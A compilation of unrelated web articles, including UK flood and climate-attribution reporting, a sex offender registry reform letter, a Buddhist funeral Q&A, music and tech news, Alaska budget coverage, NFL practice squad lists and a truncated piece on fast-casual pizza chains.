Dumfries Scotland desperately try to pump floodwater out of the building PA 15/17 Floods hit the UK A man stands in the doorway of his cottage in the flooded town of Straiton in Scotland PA 16/17 Floods hit the UK Flooding in the village of Aberfeldy, Perthshire, Scotland 17/17 Floods hit the UK Man wades through floodwater outside a fish and chip shop in Dumfries, Scotland PA Storms Eva and then Frank followed Desmond with further heavy rain falling on already saturated land. The widespread flooding directly affected thousands of homes and businesses, and many thousands more suffered lengthy power cuts due to flooded electricity sub-stations. Scientists are normally cautious about attributing any single weather extreme to climate change and the rise in global average temperatures due to human emissions of greenhouse gases, such as carbon dioxide from fossil-fuel burning. However, there is already clear evidence that what has happened over the past month or so in terms of temperature and rainfall has fallen outside the range of the natural variability of the notoriously fickle British weather, according to a growing number of climate experts. “There is no doubt in my mind that climate change is partly responsible for the flooding across the North of England. This December is around 5C warmer than normal and physics tells us that 24-hour extreme rainfall increases by 7 per cent per degree,” said Piers Forster, professor of climate science at Leeds University. Paul Williams, meteorologist at Reading University, explained: “Simple physics tells us that warmer air can hold more water vapour. The global warming that we have experienced so far has increased the atmosphere’s moisture storage capacity by about seven per cent. This is undisputed science and it clearly increases the potential for extreme rainfall and flooding.” It is undeniably true that warmer air can hold more moisture, just as warmer oceans increase the moisture content of the atmosphere by about six per cent for every 1C warming. In simple terms, the more moisture there is in the atmosphere, the more additional energy it contains, said Dame Julia Sligo, the chief scientist at the Met Office. “So from basic physical understanding of weather systems it is entirely plausible that climate change has exacerbated what has been a period of very wet and stormy weather arising from natural variability,” she said. The Met Office predicted in 2014 that Britain is in line for more heavy rain as a result of the world getting warmer, and that this signal may already be showing up in long-term rainfall records. “There is evidence that heavy rainfall events may have become more frequent over time: what in the 1960s and 1970s might have been a one-in-125-day event is now more likely a one-in-85-day event,” the Met Office said. But predicting something is more likely is not the same as attributing direct cause and effect for any single storm – so can climate change have caused Desmond and the other storms last month? Scientists are not able to categorically prove such cause and effect. However, a study already submitted to a peer-reviewed journal has suggested that climate change has increased the chances of Desmond-like storms by about 40 per cent – give or take a rather large margin of error. The research, by scientists from the Royal Netherlands Meteorological Institute and the University of Oxford, found that three different ways of assessing the influence of climate change are all in “remarkable agreement” on its influence over Storm Desmond. “We found that global warming increased the likelihood of the heavy precipitation associated with a storm like Desmond. An event like this is now roughly 40 per cent more likely due to climate change than it was in the past, with an uncertainty range of five to 80 per cent,” said Friederike Otto of Oxford, a co-author of the study. There is of course another record being broken at present; El Niño in the Pacific Ocean is expected to surpass the one of 1997-98. Some scientists have suggested a possible link with the south-westerly “kink” in the jet stream over the Atlantic, which is sending warm, wet air to the UK. The Met Office said that a strong El Niño could be influencing our weather by increasing the probability of a “positive phase” of the North Atlantic Oscillation, which is associated with milder and wetter-than-average conditions over our part of Western Europe. “However El Niño is just one of many drivers that affect the UK weather and there are many other factors which could override this signal,” said a Met Office spokesperson. However, those who continue to deny the connection between extreme rainfall in the UK and climate change are looking increasingly undermined by the growing evidence, said Professor Myles Allen of Oxford University. “The armchair meteorologists who continue to insist this is all just weather are starting to sound a little bit like Aunty Mabel expressing surprise at her remarkable luck in boardgames,” Professor Allen said. “The weather has changed, and we have changed it: get used to it. Those with more open minds are asking, ‘Is this the new normal?’ Unfortunately, the answer is ‘No’ – ‘normal weather’, unchanged over generations apart from random fluctuations, is a thing of the past.” -Sometimes when I post about the Sex Offender Registry, I get comments like, “Those scum don’t deserve to EVER live a normal life!” This note below is to remind us that a study of 17,000 people on the registry by the The Georgia Sex Offender Registration Review Board found that about 5% were “clearly dangerous,” and 100 could be classified as sexual predators. Not that the other thousands and thousands of registrants were all Romeo and Juliet cases, or teens who sexted. Just that most people who have been arrested for a sex crime don’t do it again. Some will. Most won’t. And the public registry has no effect either way. So here is Shawna’s tale. She is on the Registry for life. Does this make any of us feel safer? Dear Free-Range Kids: My name is Shawna and I am a required to register as a sex offender for having sex with a teen when I was a teen myself. Here is my story. . When I was 12 my mom befriended a neighbor in the apartment complex we lived in at the time. She was around 21-22 at the time and I thought she was absolutely the coolest person I had ever met. I idolized her. She was more interested in being my friend than my mom’s friend, and was there for me through some very bad times while we were neighbors. We moved and lost contact. Then when I was 18 we reconnected. . She was around 31 at this time and hung out with her friend’s 14 year old son. I had moved in with her and the 3 of us became close friends. She would always tell me how much he liked me and that him and I could have mixed-colored babies and they would be so pretty.Which got my mind thinking about him in a way that was more than friends. . On my 19th birthday she said she wanted to have a party and the 3 of us got drunk and played truth or dare. She had us dance naked and kiss in front of her. Him and I had sex that night. . The next morning she took him to his mom and she filed charges against me. I was sentenced to 6 months jail, lifetime probation and lifetime registry as a sex offender. I will be turning 34 in December and I’m still required to register and be on probation. I have to take polygraphs every 6 months and still attend sex offender group therapy. I have 3 children and this is starting to affect them. . Two years ago they passed a law that says I cannot take my kids to the park anymore. This includes lakes, as they are State parks. Their friends can never stay over for a sleepover and where I can have their birthday parties are limited. My husband and I along with our 3 kids have had to move in with my mom on many different occasions, due to my restriction on where I can live and not being able to find a home. . I have all the backing from my probation officer and therapist to try and get off probation and registry. However due to my felony it is hard to find any job where I would make the amount of money I need to go back to court. . The system is failed and everyone is being painted with a broad brush. I want to become a voice for sex offenders and hopefully get connected with the right people and/organization to start changing some of these laws. Not everyone should be called a sex offender. . -Question: During cremation (or burial), undertakers often ask the surviving family to put their palms together while watching the deceased being pushed in (or buried). Is it better to Nianfo (chant Amitabha Buddha’s name – ‘Amituofo’)? Answer: Yes, guiding the deceased’s consciousness (if still around) to Nianfo by setting the example is the best thing to do. If not, the survivors will usually entertain stray thoughts of grief, which if read by the deceased’s consciousness, might stir thoughts of attachment, that distract him or her from Nianfo for reaching Pure Land. Before chanting, these words can be said aloud near the body. (Only when it is not convenient should it be thought ‘aloud’, for the consciousness of the deceased to read one’s mind for the message.) ‘Dearest _____ [name of deceased], as you are now deceased, it is time to Nianfo with us sincerely now, so that you can reach Amituofo’s Pure Land – where there is no more suffering, where there is only bliss. Please do not be attached to your wealth and family, as you have to leave them behind. We assure you that all will be well. They too will Nianfo to reach Pure Land when it is time to meet you there. Please Nianfo with us as sincerely as you can because this is the only way to have the best rebirth before it is too late. This is the best thing you can do for yourself and your loved ones. Please do not be attached to your body. Please continue to Nianfo sincerely all the way, until you see Amituofo come to guide you to his Pure Land. Please follow only Amituofo and no one else. Let us Nianfo sincerely now. Amituofo, Amituofo, Amituofo…’ Question: As many services are very quiet, with no one chanting ‘Amituofo’, is it alright to chant aloud? Answer: As above, it is the best thing to do, to lead all present to Nianfo in unison. Many services are quiet simply because the ones present did not have anyone who knew what best to do. Question: If the funeral service is conducted in a Chinese dialect, can the Nianfo be in Chinese? Answer: Yes, this is alright as most Chinese have heard of Amituofo’s name in Chinese in their lifetimes. However, if the deceased is used to the name in dialect, it is better to stick to the dialect version. -Beats Music Raises Another $60 Million (at Least)… Streaming services are in a constant war with each other, trying to get the most funding and the most listeners. Beats Music and Spotify have become particularly competitive with each other. Beats Music acquired TopSpin and Spotify acquired The Echo Nest. Then news surfaced that Spotify secured a line of credit worth $200 million, probably for an upcoming IPO. Beats Music has secured some new funding of their own, with figures between $60 million and $100 million being reported. The money came from co-founders Jimmy Iovine and Dr. Dre, as well as Warner Music Group owner Access Industries. The money will be used for product development, customer growth, and marketing. The latest injection pushes the total funding pot past $120 million. Beats Music previously raised $60 million in March of last year from Access Industries and a few individual investors. -We finally get to hear the full track that spawned the standout from DJ Khaled’s "Major Key" album. This past summer, DJ Khaled dropped his highly anticipated Major Key album, and while it was teeming with heaters, there's no doubt that one of the major standouts was “Jermaine’s Interlude,” a three-minute treat from J. Cole, assisted by Atlanta natives and former DJBooth Top Prospects EarthGang. As divulged to our own Yoh a few months back, the interlude was actually the product of a nine-minute posse cut from Atlanta collective Spillage Village, of which EarthGang is a member, along with J.I.D. (another Top Prospect), Hollywood JB and Jordxn Bryant. ADVERTISEMENT Thanks for watching! Visit Website In that piece, EarthGang recounted the story of having the track all but completed during a visit from J. Cole, but Cole felt the beat so deeply that he had to jump on, and the record was eventually shortened to the three-minute incarnation that we’re all familiar with from Major Key. EarthGang also revealed that they originally wanted Dreamville emcee Bas on the song and that the full version of the track may someday surface. Today (November 8) is that day, the result is “Can’t Call It,” and the wait was well worth it. ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website While “Can’t Call It” clocks in at just over six minutes, a few minutes short of the nine we were teased with from EarthGang's interview, it’s a welcome expansion on “Jermaine’s Interlude.” Bas does indeed make a fantastic appearance, and the entire track is a showcase of everything that makes the Spillage Village collective a force to be reckoned with. Listening to “Can’t Call It” and “Jermaine’s Interlude” back to back offers an amazing insight into the original vibe of the Hollywood JB-produced track, and the added three minutes do little to stifle the potency of the track—quite the contrary. It’s a shame the full version wasn’t included on Major Key, but the fact that EarthGang got a placement on the Miami collaboration king’s seminal album in the first place was an unlikely treat for underground fans and a great look for Johnny Venus and Doctur Dot. After hearing “Can’t Call It,” it’s easy to see how J. Cole was so captivated by the vibe of the track that he felt compelled to drop a verse—this track is incredible. *** By Brent Bradley. Follow him on Twitter. Photo Credit: EarthGang -If anyone thought that Megyn Kelly’s move to NBC made her more progressive or was a sign of a change of heart on her politics, they need to get a load of this. In an op-ed printed in Variety, Kelly was called out by TV critic, Sonia Saraiya. Although Kelly earned herself some points for taking on Trump in that infamous debate where Trump questioned whether she was menstruating or not and the fact that her complaints against Roger Ailes, former horn dog Fox News CEO, caused him to step down, some troubling facts still remain. Furthermore, after moving on from Fox News to NBC, things aren’t looking good for the former Fox News superstar. Saraiya wrote: ‘By all measures, her “Sunday Night” effort been a disaster: Her interviews have been either ridiculed or loathed by the rest of the press, and the ratings reflect a distinct lack of interest.’ Saraiya commented that newsmagazine shows never do well, which is the format of Sunday Night With Megyn Kelly. Kelly is slated to take over a 9 a.m. morning show soon. Saraiya also explained the psychology behind morning television personalities. ‘Daytime television is a notoriously difficult nut to crack — dozens of shows, built around former news anchors and other personalities, have failed to succeed, even when they are helmed by otherwise well-liked personalities.’ She added Kelly has never been a likable person on camera. Furthermore, she added Kelly faces tough 9 a.m. competition from Kelly Ripa, who she described as a “brash, bubbly personality.” ‘Ripa, a master of the form, was already, in all likelihood, going to eat Kelly for lunch (or is it breakfast?). Now that Kelly’s reputation on the rocks — and that Ripa has a new telegenic cohost in Ryan Seacrest — it’s hard to imagine Kelly making a dent in Ripa’s audience.’ Ouch. Saraiya also delved into Kelly’s troubling past that is littered with plenty of racist statements regarding black people. She pointed to a Slate article that described Kelly as a racist demagogue. That piece referred back to this face-palm worthy comment Kelly made in response to Slate’s “Santa Claus Should Not Be a White Man Anymore” piece. ‘Jesus was a white man, too … he’s a historical figure and that’s a verifiable fact, as is Santa.’ Her racist statements are, and should be, a major problem for her viewing audience. Nielsen found that in the 2015-16 season, 23.1 percent of the total TV audience tuning in were African-American women making them the “largest component of the daytime viewership base.” Saraiya went on to bring up the newest focus on Kelly, her Alex Jones interview. ‘The entire rigmarole with Alex Jones was a series of unforced errors: Amateur decision-making, lightweight investigation, and vaguely defined motives … after all of the hullabaloo defending her interview of Jones, she couldn’t manage to get the segment to coalesce around a news peg. So what is Megyn Kelly good at?’ She delivered a harsh criticism of Kelly that showed how disappointing her career at NBC is turning out to be. ‘On NBC, Kelly is didactic without being trustworthy; patronizing without being impressive. Her voiceover suggests doom without really proving it; there’s a scare-mongering side to her reportage. And, most importantly: She’s alienated everyone. At this point, Kelly’s most virulent critique comes from the right — the audience that she’s supposed to be helping deliver to NBC. The network is presumably hoping that centrist or center-right women will eventually tune in.’ Kelly’s NBC career may, of course, take off at some point. It’s possible she could somehow become more bubbly. However, the op-ed proves one thing: Kelly should keep in touch with her Fox News’ colleagues because she may need a soft place to land in the future. Featured image by Kevin Winter/Getty Images for The Hollywood Reporter. -Firefox for Maemo 1.1 RC 1 is ready to install. For this release, the focus was some UI features we didn’t have time to put in the initial release. We also used your feedback from previous releases and nightly builds to help improve the browsing experience. Some of the bigger features include: As always, we’ve provided unbranded Fennec desktop builds on Windows, Mac, and Linux. You can use these if you don’t have a Maemo device or to aid in add-on development. This is the final call for Add-on developers to update their add-ons from Firefox 1.0.x for Maemo. Note to Ovi Store Customers: If you installed Firefox 1.0.x from the Ovi Store, you will not be able to upgrade to Firefox 1.1 RC 1 (either from the N900 Application Manager or by downloading the software from Mozilla). We are working to solve this for future releases so that anyone can participate in our Beta programs. Don’t worry, though, if you got Firefox 1.0.x from either the Ovi store or directly from Mozilla, you will be updated to Firefox 1.1 (final) when it is released. -While checking out some news sites this morning, I found a story that will make you very happy you have the ability to drive to the Wally World, buy all the rods, reels, stink bait, and plastic worms your heart desires, then jump on your boat and use them. These things are not easy to come by in Cuba, and the government heavily regulates who can operate and own a boat due to illegal immigration. But one thing you can buy at three for a penny in Cuba is condoms. Turns out the Cubans have found many uses for them that go far beyond the bedroom. According to the story on GlobalPost.com, condoms are frequent substitutes for balloons at childrens' parties. At baseball games, people blow them up and bat them around like beach balls. If you see a bunch of broken condoms on the streets, don't be alarmed. It was probably a water balloon fight. But condoms really come in handy when you can't find or afford a ten-foot rod and the fish are cruising past the outer bar. Anglers tie inflated condoms together and use them as kites to carry their baited handlines offshore. From the story: "We use them a lot this time of year, during the snapper run," [angler Michel] Perez explained, letting out his line from a homemade wooden spool. With a good breeze, the floating condoms can carry the hook hundreds of meters out into deeper waters, far beyond casting distance, he said. Not that Perez has a fishing rod anyway. "When the fish takes the hook, the line pulls free," he explained, "and you start reeling in." This only stands to prove that no matter where you are or what tackle you have at your disposal, the best fishermen out there are those that can improvise. If you need further proof that Cuban anglers are particularly innovative, I highly recommend reading Bill Heavey's story on largemouth fishing in Cuba. - JC -Guitarist Richard Z. Kruspe has spent the past two decades as part of the metal machine that is Rammstein. In 2007 he briefly stepped outside the comfort zone to grab the microphone and release his first solo effort under the name Emigrate. Seven years later, he’s back with album number two, Silent So Long. It only takes a moment for his enthusiasm for this record to come through. “It’s the first time in my life where I’ve done a record where I’ve felt I don’t want to change a damn thing. It’s a great feeling”, he declares straight away. It’s clearly a step forward for Kruspe, taking his songwriting in a direction he is more comfortable with. “It’s more like a grown up record compared to the first album,” he says. “After the first record I was quite surprised how rocky it sounded, I always felt I was much darker and I kind of didn’t deliver that on the first record”. He’s also enjoying the chance to be the one to call the shots. “I just love to have the last say, that’s so different to Rammstein where everything is so democratic,” he laughs. “And I realised that being in the position with Emigrate where I know at the end of the day I can say yes or no, makes me a better team player. Makes me choose more for the music rather than the Rammstein world where you sometimes choose because of the ego.” A critical element of the Emigrate project is Kruspe’s decision to add vocal duties to his guitar, songwriting and production roles. With Silent So Long he finally fells comfortable with his singing. “That’s a big difference too,” he states. “With the first record I was really trying to be a singer, which is different to being a singer. In the beginning it was very frustrating for me, I was so advanced in my writing but my voice was still a baby so I couldn’t really deliver what I was expecting. On the new record I was accepting the fact that I was going to be the singer and that made it so much easier.” As well as giving him a chance to sing, Emigrate is also an opportunity for Kruspe to work with new people, and in new ways. “I felt something was missing in my world, and Emigrate got created out of that longing or frustration,” he says. “I always felt that Emigrate should be an open door, for people to come in and go out as they like to collaborate, which is totally the opposite of the Rammstein world which is really controlled and closed in a way.” For the new album there is no better example of this collaborative approach than the decision to bring in a host of guest singers. Marilyn Manson, Frank Delle, Jonathan Davis, Peaches and Lemmy all contribute. “In the beginning I was a little bit nervous about it, as a producer I had to step away from the project and make a record that has these people, but still sounds like an Emigrate record. That was not an easy task, but somehow we managed it. For me it was important to really bring the artists into the Emigrate world.” For Kruspe, the track ‘Rock City’ with Lemmy was a perfect example of this approach paying off. The track started as an acoustic demo track that changed direction totally once the band started jamming on it in the rehearsal studios. As the track took shape as a fast paced rock number the decision was made to approach Lemmy about a possible lead vocal. “There are certain moments I’ll never forget,” says Kruspe. “I had heard he was really sick and I thought forget it. Then a couple of days later I got an email with no explanation, no comment, just his voice on the track and I was just like a little child jumping up and down on the bed, feeling like the best thing ever has just come together. You can hear if you really listen closely his voice is a little weak and shaky and that really fits the song. I wrote this huge email thanking him and saying what an honour it was to work with him and he just came back to me with “Alright”, that was it!” he laughs. Along with the cast of guests, the new album also continues the long time working partnership with Arnaud Giroux, a collaboration that Kruspe is very happy to see continue. “He’s the one that keeps me going,” he says. “Arnaud’s the one that actually never gave up on me. There were so many times when I was frustrated, and I wanted to bring in a different singer and he was ‘nope, you’re the one, you have to sing it’. My mentor when it came down to making me as a singer. And he’s French, so he has a very interesting way sometimes with melodies!” The eleven tracks that make up Silent So Long were selected from a pool of 21 completed and mixed tracks. Kruspe sees all of the tracks as being worthy of release, and in fact is already planning to use some or all of the remaining tracks as the basis for a third album. In deciding which tracks to select for this release he was strongly influenced by his background and love of music on vinyl. “I come from the world of vinyl, so for all my childhood I was listening to new records four, five, six times over,“ he explains. “I needed to go through it until I got it, not jump from track to track. So for me, the idea of selecting for a record is still in the idea of vinyl and a track list that works together. I know that now people just listen to one song, but that’s not how I work. People should have to listen to the whole record, to understand it. That’s how I chose the tracks. I wanted to capture a mood.” The pacing and diversity across the tracks is one of the strengths of Silent So Long. From the punching rock of the opening track ‘Eat You Alive’ to the brooding title track, Kruspe covers plenty of ground. At the mid point of the album is the song ‘Rainbow’, written about his daughter. “This song was the hardest to get the lyrics done,” he says. “I really had problems with it until the last minute. I could not get the lyrics right, there was just something missing. Then one day, and this is such a cliché, but my daughter was there in the studio and I did it first take and it worked!” For Kruspe, Emigrate is an outlet for his own passion, made possible because he is already a part of a successful band. He’s more than aware of the current industry difficulties, summed up recently by Gene Simmons’ controversial ‘Rock is dead’ comment. But he has his own views on where things currently stand and a still-positive outlook on where things might go from here. “I don’t think Rock will ever be dead because it’s a life statement for a lot of people, “ he declares. “But what I do realise is that the quality of records is very poor. I understand why, there’s no time, there’s no money, everything becomes a promotion tool. I said it a few years ago, people only f*ck themselves by stealing music. But I think also there is another movement coming, streaming will maybe save something. People are spending money on music at the moment, but it just has to go in the right direction. We need to go through that generation that wants to own music to the next generation that says ‘I don’t care, I just want to have it’. Then we’ll have another way of paying the artist, for people to get money again to invest in music. I wouldn’t say Rock’s dead, it’s just going through a really poor quality stage!” he jokes. For the time being, Kruspe is content to keep Emigrate as a studio project despite constant interest and offers being placed on the table. Live work with Rammstein meets his needs to perform. “Always in my life I do what I think is right for me,” he explains. “Everyone is playing live right now, everyone is out there. We don’t need another mediocre band that plays half assed. There was something missing that I have now created and I’m quite balanced and happy in my life. And honestly, there’s the pressure in Rammstein to be one of the biggest live shows. How do I try to come up with a band that can compete with that?” [youtube http://www.youtube.com/watch?v=VnvCQ9si6S8?rel=0&w=560&h=315] -JUNEAU -- Winning a game of budget-cutting one-upmanship, the Alaska Senate went last and Friday evening passed a state budget calling for deeper cuts than did the House of Representatives and than had been originally proposed by Gov. Bill Walker. The Senate cut $100 million more from the operating budget than did the House, much of which came in a surprise $47 million cut to the per-student school funding called the "base student allocation" that was made Thursday by the Senate Finance Committee. Including the cuts by the House and governor, next year's total operating budget has now been cut by $472 million, Senate leaders said. The cuts were necessary, said Sen. Pete Kelly, R-Fairbanks, the Senate's top budget writer. "We've got a big problem," said Kelly, co-chair of the Senate Finance Committee. Falling oil prices mean cuts and more cuts. "That's what this budget is all about," he said. But the cuts had opponents, as Democrats spent hours trying unsuccessfully to persuade the Republican-led majority to shift cuts away from education and public services. Sen. Bill Wielechowski, D-Anchorage, criticized not just the cuts but the manner in which they were made on Thursday. "I don't think anybody had any idea this was going to be sprung on people," he said. The Senate introduced the proposed cuts in Kelly's Finance Committee, adopted them, and the full Senate was voting on them in under 24 hours and without public hearings, Wielechowski said. Kelly's cuts to school districts came on top of Walker's rejection of an earlier negotiated budget increase, as well as cuts to the Department of Education and Early Development that were among the biggest facing any state department . When Sen Mike Dunleavy, R-Wasilla, earlier proposed the departmental cuts included in the budget, he said they'd managed to make cuts without reducing the per-student funding for districts. On the Senate floor Friday, Kelly said everyone in the Senate supported education and that the impact of the cuts was being overstated. "I know it's going to have an impact on school districts, but we're not talking about ending funding," he said. As word of the cuts spread among school districts, their representatives began speaking out against them and reaching out to their legislators. "I'm very concerned that the Legislature is proposing these further reductions to education funding, particularly this late in our process of budgeting and staffing for next year," said Sean Dusek, Kenai Peninsula Borough School District superintendent. The Peninsula's Rep. Mike Chenault, R-Nikiski, said the Senate's cuts were probably too deep, and the House of Representatives might work to restore at least some of them as the budget process continues. "We're not crazy about the education cuts -- some of the others we might be able to live with, but education is important to our caucus," he said. Chenault pointed out that those cuts came in addition to Walker's earlier cuts. "While we might not be able to go after the money the governor cut out, we're certainly concerned about taking more money out of the BSA," said Chenault, who is also House speaker. Senate President Kevin Meyer, R-Anchorage, said that when word of the Senate Finance Committee's cuts yesterday got out, the public comments shifted from advocating for budget cuts to complaining about budget cuts. "All the emails I'm getting today are certainly 'restore the education cuts,'" said Meyer, who nonetheless voted for the cuts. Also controversial were cuts to public employee cost-of-living raises, but Sen. Anna MacKinnon, R-Anchorage, said cutting raises was better than layoffs. "First and foremost I want to say thank you to the public servants who serve the people of Alaska," she said, but the raises were negotiated "subject to funding being available" and that it was better for an employee to take a pay cut than lose their job. Democrats proposed several cuts of their own, including the Commercial Fisheries Entry Commission, the Workers Compensation Appeals Commission, and to salaries of employees who make more than $200,000 per year at the Alaska Housing Finance Corp., but all were rejected. A single Democratic amendment, calling for a report on public employees who earn more than the governor, was approved. Sen. Johnny Ellis, D-Anchorage, tried to eliminate budget language seeking to stop Medicaid expansion in Alaska by blocking acceptance of federal funds for expansion. "When did we start rejecting federal funds?" he asked, reminding his colleagues that when former Gov. Sarah Palin rejected federal stimulus money, the Legislature called itself into special session to override her veto. "People were shocked. We don't reject federal funds -- they're a third of our economy," he said. Sen. Dennis Egan, D-Juneau, urged money be put back into the budget for the Alaska Marine Highway System, saying cuts the Legislature has proposed would mean thousands of already sold ferry tickets would have to be refunded, costing the state money and disrupting travel schedules. That's not what he said he'd have done in his 40-plus years in private business before becoming a legislator.. "I know we have to cut the budget, but you don't spit on your customers," he said. His proposed budget amendment failed but won support from Republican Sens. Bert Stedman, R-Sitka, and Gary Stevens, R-Kodiak. The differences between the House and Senate versions of the operating budget mean a conference committee will have to work out the differences, a process that's expected to start late next week. -NFL teams set their 53-man rosters by Saturday's deadline and now look to fill their practice squads. Here are the latest additions to practice squads, which, for the first time, can have a maximum of 10 players. Arizona Cardinals LB Jonathan Brown, WR Brittan Golden, TE Andre Hardy, CB Jimmy Legree, T Kelvin Palmer, OL Anthony Steen, DT Christian Tupou, WR Kevin Cone, RB Dominique Williams Atlanta Falcons CB Ricardo Allen, S Sean Baker, G Harland Gunn, T Terren Jones, WR Freddie Martino, TE Kyle Miller, WR Bernard Reedy, DT Travian Robertson, LB Jacques Smith, RB Jerome Smith Baltimore Ravens CB Tramain Jacobs, OL Ryan Jensen, T Marcel Jones, DT Jamie Meder, CB Deji Olatoye, DT A.J. Pataiali'i, OLB John Simon, TE Phillip Supernaw, RB Fitzgerald Toussaint, QB Keith Wenning Buffalo Bills DB Deon Broomfield, LB Jimmy Gaines, WR Caleb Holley, DE Ikponmwosa Igbinosun, DE Bryan Johnson, DB Kenny Ladler, G D.J. Morrell, RB Lonnie Pryor, QB Jeff Tuel, TE D.J. Tialavea Carolina Panthers CB Carrington Byndom, LB Adarius Glanton, WR Tavarres King, S Robert Lester, WR Marcus Lucas, T Andrew McDonald, RB Darrin Reaves, DT Micanor Regis, DT Casey Walker, WR Stephen Hill Chicago Bears WR Josh Bellamy, C Taylor Boggs, DT Brandon Dunn, CB Isaiah Frey, G Ryan Groy, LB DeDe Lattimore, CB Al Louis-Jean, CB Terrance Mitchell, DT Roy Philon, WR Rashad Ross Cincinnati Bengals T Dan France, TE Kevin Greene, DT David King, WR Colin Lockett, CB Onterio McCalebb, DE Sam Montgomery, C Trevor Robinson, DT Devon Still, HB James Wilder Jr. Cleveland Browns OL Karim Barton, OL James Brown, WR Charles Johnson, DL Jacobbi McDaniel, TE Emmanuel Ogbuehi, LB Keith Pough, LB Justin Staples, QB Connor Shaw Dallas Cowboys WR Tim Benford, DE Kenneth Boatright, C Ronald Patrick, S Micah Pellerin, LB Keith Smith, LB Will Smith, RB Ryan Williams, FB Nikita Whitlock, T John Wetzel, DB Jemea Thomas Denver Broncos LB Shaquil Barrett, RB Kapri Bibbs, S John Boyett, QB Zac Dysert, WR Bennie Fowler, G Vinston Painter, WR Nathan Palmer, C Matt Paradis, TE Gerell Robinson, DE Zach Thompson Detroit Lions G Rodney Austin, TE Michael Egnew, FB Emil Igwenagu, S Nate Ness, WR Andrew Peacock, DT Xavier Proctor, CB Mohammed Seisay, LB Julian Stanford, T Michael Williams, RB George Winn Green Bay Packers S Chris Banjo, WR Kevin Dorsey, C Garth Gerhart, RB Michael Hill, LB Adrian Hubbard, TE Justin Perillo, DE Luther Robinson, CB Jumal Rolle, T Jeremy Vujnovich, WR Myles White Houston Texans DE Keith Browner, LB Max Bullough, TE Anthony Denham, T Matt Feiler, C James Ferentz, G Alex Kupper, WR Travis Labhart, WR EZ Nwachukwu, FB Toben Opurum, CB Marcus Williams Indianapolis Colts T Tyler Hoover, ILB Andrew Jackson, WR Ryan Lankford, WR Josh Lenz, QB Jeff Mathews, S Dewey McDonald, DT Nnamdi Obukwelu, CB Sheldon Price, TE Erik Swoope, G Josh Walker Jacksonville Jaguars T Cody Booth, DT Deandre Coleman, RB Henry Josey, S Craig Loston, QB Stephen Morris, WR Kerry Taylor, CB Peyton Thompson, WR Tony Washington, LB Marcus Whitfield, TE Marcel Johnson Kansas City Chiefs FB Jordan Campbell, C Ben Gottschalk, G Ricky Henry, LB Nico Johnson, DL Kona Schwenke, WR Darryl Surgent, RB Charcandrick West, WR Fred Williams, LB Jerry Franklin, DT Hebron Fangupo Miami Dolphins C Sam Brenner, WR Matt Hazel, T Tony Hills, LB David Hinds, QB Seth Lobato, TE Jacob Maxwell, DE D'Aundre Reed, CB Lowell Rose, DT Garrison Smith, WR Tommy Streeter Minnesota Vikings RB Joe Banyard, WR Kain Colter, DT Isame Faciane, TE Chase Ford, WR Donte Foster, CB Chris Greenwood, CB Kendall James, C Zac Kerin, T Mike Remmers, DE Justin Trattou New England Patriots DL Jake Bequette, QB McLeod Bethel-Thompson, WR Josh Boyce, LB Ja'Gared Davis, S Kanorris Davis, RB Jonas Gray, DL Charley Hughlett, OL Chris Martin, DL Deontae Skinner, DB Dax Swanson New Orleans Saints WR Brandon Coleman, LB Todd Davis, CB Terrence Frederick, TE Nic Jacobs, WR Seantavius Jones, G Antoine McClain, T Tavon Rooks, DT Lawrence Virgil, CB Trevin Wade, S Pierre Warren New York Giants T Nick Becton, RB Michael Cox, CB Bennett Jackson, CB Chandler Fenner, LB Dan Fox, DE Jordan Stanton, WR Julian Talley New York Jets DT Tevita Finau, DL Kerry Hyder, S Rontez Miles, TE Chris Pantale, T Brent Qvale, RB Daryl Richardson, QB Matt Simms, LB Jeremiah George, WR Quincy Enunwa Oakland Raiders RB George Atkinson, DE Denico Autry, CB Ras-I Dowling, LB Bojay Filimoeatu, LB Spencer Hadley, T Danny Kistler, DT Ricky Lumpkin, G Lamar Mady, WR Seth Roberts, TE Scott Simonson Philadelphia Eagles LB Emmanuel Acho, OL Josh Andrews, T Kevin Graf, DT Wade Keliikipi, QB G.J. Kinne, S Ed Reynolds, WR Will Murphy, WR Quron Pratt, RB Matthew Tucker Pittsburgh Steelers TE Rob Blanchflower, WR C.J. Goodwin, RB Josh Harris, LB Howard Jones, DL Josh Mauro, WR Derek Moye, DB Shaquille Richardson, DB Ross Ventrone, OL Alejandro Villanueva, DL Nick Williams San Diego Chargers DL Chas Alecxih, WR Torrence Allen, CB Greg Ducre, WR Javontee Herndon, OLB Cordarro Law, QB Ryan Lindley, S Adrian Phillips, T Jeremiah Sirles, G Craig Watts, RB Marion Grice San Francisco 49ers T Carter Bykowski, TE Asante Cleveland, RB Kendall Gaskins, WR Lance Lewis, DL Lawrence Okoye, NT Mike Purcell, LB, Shayne Skov, LB Chase Thomas, CB Chance Casey, T John Fullington Seattle Seahawks TE Rashaun Allen, DB Josh Aubrey, RB Demitrius Bronson, QB B.J. Daniels, T Nate Isles, WR Chris Matthews, S Terrance Parks, DT Jimmy Staten, S Steven Terrell, DE Julius Warmsley St. Louis Rams LB Denicos Allen, WR Emory Blake, S Christian Bryant, DT Matt Conrath, S Matt Daniels, QB Garrett Gilbert, T Sean Hooey, LB Kevin Reddick, WR Justin Veltung, G Brandon Washington Tampa Bay Buccaneers TE Cameron Brate, RB Jeff Demps, QB Mike Kafka, LB Brandon Magee, DT Matthew Masifilo, WR Solomon Patton, CB Derrius Brooks, CB Brandon Dixon, LB Carlos Fields, S Kimario McFadden Tennessee Titans OL Justin McCray, T William Poehls, DL Chigbo Anunoby, LB Brandon Copeland, RB Antonio Andrews, WR Rico Richardson, CB Ri'Shard Anderson, LB Dontay Moch, TE Orson Charles Washington Redskins TE Ted Bolser, CB Richard Crawford, CB Chase Minnifield, OL Tevita Stevens, S Phillip Thomas, NT Robert Thomas, RB Chris Thompson, WR Nick Williams, S Akeem Davis, LB Chaz Sutton -One of a team of professional Neapolitan pizza makers throws dough to give away free pizza margheritas in Dante square in downtown Naples, on Aug. 27, 2008. Photo by ROBERTO SALOMONE/AFP/Getty Images The new hotness in the chain restaurant industry is “fast casual” dining—basically fast food places that are a bit more expensive and a bit better than the traditional offerings. Chipotle is the biggest recent business success in this area, but in some ways the most interesting success stories are places like 5 Guys, Shake Shack, Smashburger, and other participants in the so called “better burger” category. They show that you don’t really need to invent a whole new genre of restaurant to build a successful business. So one natural question is what other cuisines are ripe for the kind of explosion of upscaling that we’ve seen in the burger industry? Sam Oches posits that the answer is pizza and profiles nine newish chains that are trying to dominate the emerging fast casual pizza space. They all take advantage of one very significant and very salient fact—it’s in the very 